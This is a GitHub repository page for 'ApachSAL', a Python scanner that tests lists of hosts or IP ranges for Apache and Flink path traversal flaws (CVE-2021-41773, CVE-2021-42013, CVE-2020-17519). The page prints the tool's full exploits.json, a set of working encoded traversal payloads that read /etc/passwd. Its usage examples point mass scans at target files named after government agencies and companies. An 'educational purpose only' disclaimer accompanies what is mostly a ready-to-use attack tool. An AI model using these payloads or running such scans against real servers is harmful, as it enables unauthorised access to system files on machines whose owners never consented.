Skip to content

imhunterand/ApachSAL

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

36 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Banner Apache Path Traversal

Apache Path Traversal

GPL License

GitHub code size in bytes

Python 3.8

Supported_OS Linux orange

Supported OS Mac

Path traversal (software bug)

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with β€œdot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).

Disclaimer

This or previous program is for Educational purpose ONLY. Do not use it without permission. 
The usual disclaimer applies, especially the fact that me (Imhunterand) is not liable for any 
damages caused by direct or indirect use of the information or functionality provided by these 
programs. The author or any Internet provider bears NO responsibility for content or misuse 
of these programs or any derivatives thereof. By using these programs you accept the fact 
that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these 
programs is not Imhunterand responsibility.

This script checks for vulnerabilities

Commands

python main.py --file gov.br.txt  --thread 15
python main.py --file tesla.txt  --ssl
python main.py --range 192.168.15.1,192.168.15.100 --thread 30 
python main.py --file fbi.gov.txt  --thread 15 --timeout 3 
python main.py --file gov.ru.txt  --debug

Screenshots

Screenshot Screenshot

Flow to generate targets

Screenshot

Help

python main.py --help
                                   .,,
                                  (=\/\
                                   \=\/\
                                    \=\/\
                                     `=\/
                                        \
            TRAVERSAL [ APACHE ]
 β–„β–„β–„       β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ   β–„β–„β–„       β–„β–ˆβ–ˆβ–ˆβ–ˆβ–„   β–ˆβ–ˆβ–‘ β–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–„β–„β–„       β–ˆβ–ˆβ–“
β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„    β–’β–ˆβ–ˆβ–€ β–€β–ˆ  β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ    β–’ β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„    β–“β–ˆβ–ˆβ–’
β–’β–ˆβ–ˆ  β–€β–ˆβ–„  β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–’β–ˆβ–ˆ  β–€β–ˆβ–„  β–’β–“β–ˆ    β–„ β–’β–ˆβ–ˆβ–€β–€β–ˆβ–ˆβ–‘β–‘ β–“β–ˆβ–ˆβ–„   β–’β–ˆβ–ˆ  β–€β–ˆβ–„  β–’β–ˆβ–ˆβ–‘
β–‘β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆ β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’β–‘β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆ β–’β–“β–“β–„ β–„β–ˆβ–ˆβ–’β–‘β–“β–ˆ β–‘β–ˆβ–ˆ   β–’   β–ˆβ–ˆβ–’β–‘β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆ β–’β–ˆβ–ˆβ–‘
 β–“β–ˆ   β–“β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘ β–“β–ˆ   β–“β–ˆβ–ˆβ–’β–’ β–“β–ˆβ–ˆβ–ˆβ–€ β–‘β–‘β–“β–ˆβ–’β–‘β–ˆβ–ˆβ–“β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’ β–“β–ˆ   β–“β–ˆβ–ˆβ–’β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’
 β–’β–’   β–“β–’β–ˆβ–‘β–’β–“β–’β–‘ β–‘  β–‘ β–’β–’   β–“β–’β–ˆβ–‘β–‘ β–‘β–’ β–’  β–‘ β–’ β–‘β–‘β–’β–‘β–’β–’ β–’β–“β–’ β–’ β–‘ β–’β–’   β–“β–’β–ˆβ–‘β–‘ β–’β–‘β–“  β–‘
  β–’   β–’β–’ β–‘β–‘β–’ β–‘       β–’   β–’β–’ β–‘  β–‘  β–’    β–’ β–‘β–’β–‘ β–‘β–‘ β–‘β–’  β–‘ β–‘  β–’   β–’β–’ β–‘β–‘ β–‘ β–’  β–‘
  β–‘   β–’   β–‘β–‘         β–‘   β–’   β–‘         β–‘  β–‘β–‘ β–‘β–‘  β–‘  β–‘    β–‘   β–’     β–‘ β–‘
      β–‘  β–‘               β–‘  β–‘β–‘ β–‘       β–‘  β–‘  β–‘      β–‘        β–‘  β–‘    β–‘  β–‘
                             β–‘


                      By: imhunterand /labsbots.com/
                      https://twitter.com/imhunterand
                      https://github.com/imhunterand/                                                                     
         
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>]
            [--thread <20>] [--ssl] [--timeout <5>] [--debug]

[!] Check: CVE-2021-41773, CVE-2021-42013, CVE-2020-17519
[!] File exploits: /assets/exploits.json
[!] Output: output/vuln.txt

python main.py --file gov.br.txt  --thread 15
python main.py --file tesla.txt  --ssl
python main.py --range 192.168.15.1,192.168.15.100 --thread 30 
python main.py --file fbi.gov.txt  --thread 15 --timeout 3 
python main.py --file gov.ru.txt  --debug

optional arguments:
  -h, --help            show this help message and exit
  --file <ips.txt>      Input your target host lists
  --range <ip-start>,<ip-end>
                        Set range IP Eg.: 192.168.15.1,192.168.15.100
  --thread <20>, -t <20>
                        Eg. 20
  --ssl                 Enable request with SSL
  --timeout <5>         Set connection timeout
  --debug, -d           Enable debug mode

Tree

.
β”œβ”€β”€ assets
β”‚Β Β  β”œβ”€β”€ autor.json
β”‚Β Β  β”œβ”€β”€ config.json
β”‚Β Β  β”œβ”€β”€ exploits.json
β”‚Β Β  └── prints
β”‚Β Β      β”œβ”€β”€ banner.png
β”‚Β Β      β”œβ”€β”€ print01.png
β”‚Β Β      └── print02.png
β”œβ”€β”€ LICENSE
β”œβ”€β”€ main.py
β”œβ”€β”€ modules
β”‚Β Β  β”œβ”€β”€ banner_mrclw.py
β”‚Β Β  β”œβ”€β”€ color_mrclw.py
β”‚Β Β  β”œβ”€β”€ debug_mrclw.py
β”‚Β Β  β”œβ”€β”€ file_mrclw.py
β”‚Β Β  β”œβ”€β”€ __init__.py
β”‚Β Β  β”œβ”€β”€ request_mrclw.py
β”‚Β Β  β”œβ”€β”€ shodan_mrclw.py
β”‚Β Β  └── thread_mrclw.py
β”œβ”€β”€ output
└── README.md

File exploit

assets/exploits.json

{
    "CVE-2021-41773": "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    "CVE-2021-42013-0": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd",
    "CVE-2021-42013-1": "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
    "CVE-2021-42013-3": "/cgi-bin/.%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
    "CVE-2021-42013-4":"/cgi-bin/%25%25%25%2e/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
    "CVE-2020-17519-0":"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd",
    "CVE-2020-17519-1":"/cgi-bin/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
}

Ref.